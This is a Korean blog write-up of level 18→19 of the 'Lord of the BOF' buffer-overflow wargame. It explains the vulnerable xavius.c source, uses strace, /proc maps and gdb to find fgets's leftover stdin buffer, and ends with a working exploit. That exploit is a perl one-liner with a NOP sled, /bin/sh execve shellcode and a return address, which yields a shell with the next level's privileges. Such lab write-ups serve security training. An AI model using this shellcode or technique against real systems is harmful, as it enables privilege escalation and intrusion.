본문 바로가기

워게임/lord of bof

level 18 -> 19


[nightmare@localhost nightmare]$ cat xavius.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}


        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}

ret가 0xbf~나 0x08~로 시작하면 안되고


memcpy로 ret_addr에다가 ret 값을 넣네요.


근데 그 ret값이 leave;ret;을 가리키고 있으면 안되나봄다..


그리고 memset으로 버퍼를 SFP까지 초기화시켜버리고 RET는 건너뛴 후 0xbfffffff까지도 초기화시켜버리고 라이브러리 영역도 삭제하네여



일단..취약한 함수를 먼저 보자면 fgets로 40byte 버퍼에 256을 입력받네요.


fgets(char *s, int size, FILE *stream)이게 fgets의 인자인데..


함수 특성상 fgets는 입력받은 값(stdin)을 임시 버퍼에 먼저 적재한 후에 특정 스트링 영역(char *s)에 복사를 합니다.


그렇다면 그 stdin을 담고 있는 임시 버퍼는 어딨을까요?



[nightmare@localhost test]$ perl -e 'print "A"x48'|strace ./xavius

execve("./xavius", ["./xavius"], [/* 24 vars */]) = 0

brk(0)                                  = 0x8049a58

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

close(3)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 3

fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

mprotect(0x40105000, 30812, PROT_NONE)  = 0

old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

close(3)                                = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

munmap(0x40015000, 12210)               = 0

personality(PER_LINUX)                  = 0

getpid()                                = 4082

fstat64(0, 0xbffff954)                  = -1 ENOSYS (Function not implemented)

fstat(0, {st_mode=S_IFIFO|0600, st_size=48, ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 48

read(0, "", 4096)                       = 0

fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000

ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

write(1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 49AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

) = 49

--- SIGSEGV (Segmentation fault) ---

+++ killed by SIGSEGV +++


strace를 통해 확인해보면 old_mmap으로 매핑된 공간이 0x40015000에 존재한다고 알려주네요.


[nightmare@localhost test]$ ./xavius &

[1] 3947


[1]+  Stopped                 ./xavius

[nightmare@localhost test]$ cat /proc/3947/

cmdline  environ  fd       mem      stat     status   

cwd      exe      maps     root     statm    

[nightmare@localhost test]$ cat /proc/3947/maps 

08048000-08049000 r-xp 00000000 08:06 32271      /home/nightmare/test/xavius

08049000-0804a000 rw-p 00000000 08:06 32271      /home/nightmare/test/xavius

40000000-40013000 r-xp 00000000 08:08 34138      /lib/ld-2.1.3.so

40013000-40014000 rw-p 00012000 08:08 34138      /lib/ld-2.1.3.so

40014000-40016000 rw-p 00000000 00:00 0

40018000-40105000 r-xp 00000000 08:08 34145      /lib/libc-2.1.3.so

40105000-40109000 rw-p 000ec000 08:08 34145      /lib/libc-2.1.3.so

40109000-4010d000 rw-p 00000000 00:00 0

bfffe000-c0000000 rwxp fffff000 00:00 0


실제로 메모리가 매핑되어 있는 것을 확인할 수 있습니다.


(gdb) r < /home/nightmare/test/aaa.txt

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/nightmare/test/./xavius < /home/nightmare/test/aaa.txt


Breakpoint 1, 0x8048714 in main ()

(gdb) c

Continuing.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.

0x40077f72 in memcmp () from /lib/libc.so.6

(gdb) x/10x 0x40015000

0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015020: 0x41414141 0x41414141


gdb를 통해서 확인해봐도 확실히 memset 후에도 임시 버퍼에 남아있음을 알 수 있습니다.


이 공간에 쉘코드를 올린 후에 실행시키면 되겠군요..



[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x20, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x10\x50\x01\x40"';cat) | ./xavius 


????????????????????1픐h//shh/bin??S??

                                        것€ P @


id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)

my-pass

euid = 519

throw me away


쉽게풀렸네요 ㄷㄷ; fgets에 대한 특성과 strace의 기능만 알고있어도 풀 수 있는 문제입니다.


'워게임 > lord of bof' 카테고리의 다른 글

level 19 -> 20  (0) 2015.10.23
level 17 -> 18  (0) 2015.10.23
level 16 -> 17  (0) 2015.10.23
level 15 -> 16  (0) 2015.10.23
level 14 -> 15  (0) 2015.10.23